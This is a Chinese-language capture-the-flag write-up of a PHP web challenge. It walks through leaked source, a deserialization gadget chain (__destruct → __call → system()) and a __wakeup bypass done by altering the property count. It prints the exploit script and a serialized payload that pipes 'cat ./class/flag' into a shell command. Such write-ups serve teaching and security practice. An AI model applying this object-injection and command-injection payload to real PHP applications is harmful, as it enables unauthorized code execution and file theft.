假期举办的一场比赛,开始的题目比较基础,misc神马的都还好说,就是web有些坑了,比如我今天要写的这一道题目。不过大佬说很简单。。不过最后我还是解出来了,把思路放在这里。
打开之后得到这个页面,在网页源代码中得到源码泄漏。
之后访问得到源码::
<?php error_reporting(0); include 'class.php'; if(is_array($_GET)&&count($_GET)>0) { if(isset($_GET["LandIn"])) { $pos=$_GET["LandIn"]; } if($pos==="airport") { die("机场大仙太多,你被打死了~ "); } elseif($pos==="school") { echo('叫我校霸~~ '); $pubg=$_GET['pubg']; $p = unserialize($pubg); // $p->Get_air_drops($p->weapon,$p->bag); } elseif($pos==="AFK") { die("由于你长时间没动,掉到海里淹死了~ "); } else { die("You Lose "); } } ?>
暂时得到了一些信息,在传入pos=school的同时要赋值给pubg一个参数(序列化之后的)。。之后就没啥信息了。
不过在起始位置我们看到了这个页面包含了class.php,我们想办法拿到这个php文件。这是尝试一发。成功了。。。
拿到了第二个源码:
<?php include 'waf.php'; class sheldon{ public $bag="nothing"; public $weapon="M24"; // public function __toString(){ // $this->str="You got the airdrop"; // return $this->str; // } public function __wakeup() { $this->bag="nothing"; $this->weapon="kar98K"; } public function Get_air_drops($b) { $this->$b(); } public function __call($method,$parameters) { $file = explode(".",$method); echo $file[0]; if(file_exists(".//class$file[0].php")) { system("php .//class//$method.php"); } else { system("php .//class//win.php"); } die(); } public function nothing() { die("You lose "); } public function __destruct() { waf($this->bag); if($this->weapon==='AWM') { $this->Get_air_drops($this->bag); } else { die('The Air Drop is empty,you lose~ '); } } } ?>
我们分析这个源码:
(1)这里定义了一个sheldon类,里面 有两个public成员 public $bag="nothing"; public $weapon="M24";。
(2)里面有五个成员函数。
①function __wakeup()
②function Get_air_drops($b)
③function __call($method,$parameters)
④function nothing()
⑤function __destruct()
之后我们开始分析,由于在index.php中我们知道要传入一个序列化后的对象,并且class.php中正好只有这个一个类。所以我们可以大胆猜测我们需要构造一个sheldon的对象。
而我们知道, __wakeup()函数在其所在对象反序列化的时候自动调用。所以如果我们构造sheldon对象并反序列后,我们的对象内部就会自动调用wakeup函数,此时我们这个对象的成员变量会变成。而我们在看destruct()函数。
我们知道这是一个析构函数,当对象内容执行结束后会调用析构函数,也就是说这个函数一定会被执行。我们来审计下这个代码:
①对当前对象的bag成员执行waf函数(这个函数在waf.php中,但是我们目前无法得到waf.php中的内容)。
②然后if中条件满足的话,我们执行Get_air_drops函数,否则输出一行字。
③再看Get_air_drops,这个函数内容为,这个函数意思是传入一个参数b,而b为一个函数并执行这个函数。
此时,我们要捋顺下思路。我们目前还有__call函数没有执行,我们查看文档得到:在对象中调用一个不可访问方法时,__call() 会被调用。并且这个method参数是我们传入的那个不存在的方法。
并且在__call函数中我们能看到当满足条件的时候会执行这个命令,而我们想要的flag应该就需要用过命令去得到。
所以为了满足if条件,我们可以将method赋值为“//win.php**********************”而file[0]在经过 $file = explode(".",$method);函数后变为 //win 也就是说为 .//class//win.php(而这个文file肯定是存在的,也就绕过了if)。而为了得到我们需要的flag,我们就要在上面写的******中放入命令来执行bash。(这个是后话,我们先看如何才能让__call函数执行)。
我们知道__call()函数为php的魔术方法,若要使__call()函数执行,那么我们就要令new出来的对象执行一个不存在的函数。而如何执行函数呢?我们来看 __destruct()方法,
public function __destruct() { //waf($this->bag); if($this->weapon==='AWM') { $this->Get_air_drops($this->bag); } else { die('The Air Drop is empty,you lose~ '); } } }
这个方法中写到,若wepom为AWM,则执行bag变量所代表的那个函数。所以我们可以想办法给bag赋值为一个不存在的函数,然后执行它。
而当其函数执行的时候就会调用__call()函数。这时我们来看__call()
public function __call($method,$parameters) { $file = explode(".",$method); echo $file[0]; if(file_exists(".//class$file[0].php")) { system("php .//class//$method.php"); } else { system("php .//class//win.php"); } die(); }
在这个里面,第一个条件是.//class$file[0].php目录下存在file。当满足此条件后,执行php命令。而且由魔术方法的定义,我method传入的参数既为bag。所以我们将bag传入某些命令,就可以执行php代码并拿到我们所需的flag了。
OK,我们简单的在总结下这道题目。
①系统肯定要执行__destruct()函数,由此函数执行不存在的函数从而调用__call()。又因为我们的脚本中存在__wakeup()函数(__wakeup
触发于unserilize()
调用之前,但是如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得__wakeup
失效。)所以它会讲我们的weapon强制改成kar98K,导致我们无法调用Get_air_drops()函数。所以我们需要绕过它(下面讲一下)。
②成功绕过__wakeup()后,执行call函数,并满足第一个条件后运行“system("php .//class//$method.php");”得到flag。
所以此时构造payload。
此时我们令
之后就可以绕过__call函数里第一个函数。
此时file[0]=//win 所以文件存在。
之后执行system("php .//classwin.php| cat ./class/flag.php");
这里的关键在于"|",这个管道符号之后的命令会执行。所以cat到flag.php的内容并打印出来了。
这里放上脚本
php class sheldon{ public $bag="//win.php| cat ./class/flag"; public $weapon="AWM"; // public function __toString(){ // $this->str="You got the airdrop"; // return $this->str; // } public function __wakeup() { $this->bag="nothing"; $this->weapon="kar98K"; } public function Get_air_drops($b) { $this->$b(); } public function __call($method,$parameters) { $file = explode(".",$method); echo $file[0]; if(file_exists(".//class$file[0].php")) { system("php .//class//$method.php"); } else { system("php .//class//win.php"); } die(); } public function nothing() { die("You lose "); } public function __destruct() { //waf($this->bag); if($this->weapon==='AWM') { $this->Get_air_drops($this->bag); } else { die('The Air Drop is empty,you lose~ '); } } } $a = new sheldon(); print_r(serialize($a)); // var_dump((unserialize(serialize($a)))); ?>
这个修改下payload来绕__wakeup函数。得到
O:7:"sheldon":3:{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";}(这里把2改为其他的数就行)
最终结果看下图。
在源码中就看到flag了